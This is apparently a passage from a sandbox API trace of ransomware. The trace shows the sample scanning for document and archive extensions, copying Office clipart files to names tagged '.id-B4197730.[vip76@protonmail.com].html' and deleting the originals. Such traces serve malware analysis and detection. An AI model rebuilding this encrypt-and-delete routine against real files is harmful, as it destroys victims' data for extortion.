	[0196.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0196.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.783] lstrlenW (lpString=".zip") returned 4
	[0196.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0196.783] lstrlenW (lpString=".rar") returned 4
	[0196.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0196.783] lstrlenW (lpString=".bz2") returned 4
	[0196.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0196.783] lstrlenW (lpString=".7z") returned 3
	[0196.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0196.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.783] lstrlenW (lpString=".dbf") returned 4
	[0196.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0196.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.783] lstrlenW (lpString=".1cd") returned 4
	[0196.783] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0196.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF") returned 68
	[0196.783] lstrlenW (lpString=".jpg") returned 4
	[0196.783] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0196.783] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0196.783] lstrlenW (lpString="J0107282.WMF") returned 12
	[0196.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0196.784] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=14132) returned 1
	[0196.784] CloseHandle (hObject=0x510) returned 1
	[0196.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220
	[0196.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0196.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0196.784] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.785] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0196.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0196.785] GetLastError () returned 0x0
	[0196.785] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x3734, lpOverlapped=0x0) returned 1
	[0197.097] WriteFile (in: hFile=0x5c4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x3740, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x3740, lpOverlapped=0x0) returned 1
	[0197.098] ReadFile (in: hFile=0x510, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0197.098] WriteFile (in: hFile=0x5c4, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0197.098] SetEndOfFile (hFile=0x5c4) returned 1
	[0197.108] CloseHandle (hObject=0x5c4) returned 1
	[0197.118] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0197.118] SetEndOfFile (hFile=0x510) returned 1
	[0197.151] CloseHandle (hObject=0x510) returned 1
	[0197.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0197.597] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 1
	[0197.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.795] lstrlenW (lpString=".doc") returned 4
	[0197.795] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.795] lstrlenW (lpString=".docx") returned 5
	[0197.795] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.796] lstrlenW (lpString=".pdf") returned 4
	[0197.796] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString=".xls") returned 4
	[0197.796] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.796] lstrlenW (lpString=".xlsx") returned 5
	[0197.796] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.796] lstrlenW (lpString=".ppt") returned 4
	[0197.796] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString=".zip") returned 4
	[0197.796] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.796] lstrlenW (lpString=".rar") returned 4
	[0197.796] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString=".bz2") returned 4
	[0197.796] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString=".7z") returned 3
	[0197.796] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString=".dbf") returned 4
	[0197.796] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString=".1cd") returned 4
	[0197.796] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString=".jpg") returned 4
	[0197.796] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.796] lstrlenW (lpString=".doc") returned 4
	[0197.796] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0197.796] lstrlenW (lpString=".docx") returned 5
	[0197.797] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0197.797] lstrlenW (lpString=".pdf") returned 4
	[0197.797] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString=".xls") returned 4
	[0197.797] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0197.797] lstrlenW (lpString=".xlsx") returned 5
	[0197.797] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0197.797] lstrlenW (lpString=".ppt") returned 4
	[0197.797] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.797] lstrlenW (lpString=".zip") returned 4
	[0197.797] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0197.797] lstrlenW (lpString=".rar") returned 4
	[0197.797] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString=".bz2") returned 4
	[0197.797] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString=".7z") returned 3
	[0197.797] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0197.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.797] lstrlenW (lpString=".dbf") returned 4
	[0197.797] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.797] lstrlenW (lpString=".1cd") returned 4
	[0197.797] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0197.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF") returned 68
	[0197.797] lstrlenW (lpString=".jpg") returned 4
	[0197.797] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0197.797] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0197.797] lstrlenW (lpString="J0107358.WMF") returned 12
	[0197.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.133] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=7964) returned 1
	[0198.134] CloseHandle (hObject=0x514) returned 1
	[0198.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220
	[0198.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.134] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.134] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.137] GetLastError () returned 0x0
	[0198.137] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x1f1c, lpOverlapped=0x0) returned 1
	[0198.139] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0198.140] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.140] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.140] SetEndOfFile (hFile=0x510) returned 1
	[0198.141] CloseHandle (hObject=0x510) returned 1
	[0198.141] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.141] SetEndOfFile (hFile=0x514) returned 1
	[0198.143] CloseHandle (hObject=0x514) returned 1
	[0198.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 1
	[0198.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.145] lstrlenW (lpString=".doc") returned 4
	[0198.145] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.145] lstrlenW (lpString=".docx") returned 5
	[0198.145] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.145] lstrlenW (lpString=".pdf") returned 4
	[0198.145] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.145] lstrlenW (lpString=".xls") returned 4
	[0198.145] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.145] lstrlenW (lpString=".xlsx") returned 5
	[0198.145] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.145] lstrlenW (lpString=".ppt") returned 4
	[0198.145] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.145] lstrlenW (lpString=".zip") returned 4
	[0198.145] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.145] lstrlenW (lpString=".rar") returned 4
	[0198.145] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.145] lstrlenW (lpString=".bz2") returned 4
	[0198.145] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.145] lstrlenW (lpString=".7z") returned 3
	[0198.145] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString=".dbf") returned 4
	[0198.146] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString=".1cd") returned 4
	[0198.146] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString=".jpg") returned 4
	[0198.146] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString=".doc") returned 4
	[0198.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString=".docx") returned 5
	[0198.146] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0198.146] lstrlenW (lpString=".pdf") returned 4
	[0198.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString=".xls") returned 4
	[0198.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.146] lstrlenW (lpString=".xlsx") returned 5
	[0198.146] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0198.146] lstrlenW (lpString=".ppt") returned 4
	[0198.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.146] lstrlenW (lpString=".zip") returned 4
	[0198.146] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.146] lstrlenW (lpString=".rar") returned 4
	[0198.146] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString=".bz2") returned 4
	[0198.146] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.146] lstrlenW (lpString=".7z") returned 3
	[0198.146] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.147] lstrlenW (lpString=".dbf") returned 4
	[0198.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.147] lstrlenW (lpString=".1cd") returned 4
	[0198.147] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF") returned 68
	[0198.147] lstrlenW (lpString=".jpg") returned 4
	[0198.147] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.147] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0198.147] lstrlenW (lpString="J0107456.WMF") returned 12
	[0198.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.148] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3724) returned 1
	[0198.148] CloseHandle (hObject=0x514) returned 1
	[0198.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220
	[0198.148] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.149] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.149] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.150] GetLastError () returned 0x0
	[0198.150] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0xe8c, lpOverlapped=0x0) returned 1
	[0198.151] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xe90, lpOverlapped=0x0) returned 1
	[0198.152] ReadFile (in: hFile=0x514, lpBuffer=0x40ce020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.152] WriteFile (in: hFile=0x510, lpBuffer=0x40ce020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ce020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1
	[0198.152] SetEndOfFile (hFile=0x510) returned 1
	[0198.153] CloseHandle (hObject=0x510) returned 1
	[0198.153] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.153] SetEndOfFile (hFile=0x514) returned 1
	[0198.155] CloseHandle (hObject=0x514) returned 1
	[0198.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.156] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 1
	[0198.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.156] lstrlenW (lpString=".doc") returned 4
	[0198.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.156] lstrlenW (lpString=".docx") returned 5
	[0198.156] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.157] lstrlenW (lpString=".pdf") returned 4
	[0198.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString=".xls") returned 4
	[0198.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.157] lstrlenW (lpString=".xlsx") returned 5
	[0198.157] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.157] lstrlenW (lpString=".ppt") returned 4
	[0198.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString=".zip") returned 4
	[0198.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0198.157] lstrlenW (lpString=".rar") returned 4
	[0198.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString=".bz2") returned 4
	[0198.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString=".7z") returned 3
	[0198.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString=".dbf") returned 4
	[0198.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString=".1cd") returned 4
	[0198.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString=".jpg") returned 4
	[0198.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.157] lstrlenW (lpString=".doc") returned 4
	[0198.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0198.157] lstrlenW (lpString=".docx") returned 5
	[0198.158] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0198.158] lstrlenW (lpString=".pdf") returned 4
	[0198.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString=".xls") returned 4
	[0198.158] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0198.158] lstrlenW (lpString=".xlsx") returned 5
	[0198.158] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0198.158] lstrlenW (lpString=".ppt") returned 4
	[0198.158] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0198.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF") returned 68
	[0198.158] lstrlenW (lpString=".zip") returned 4
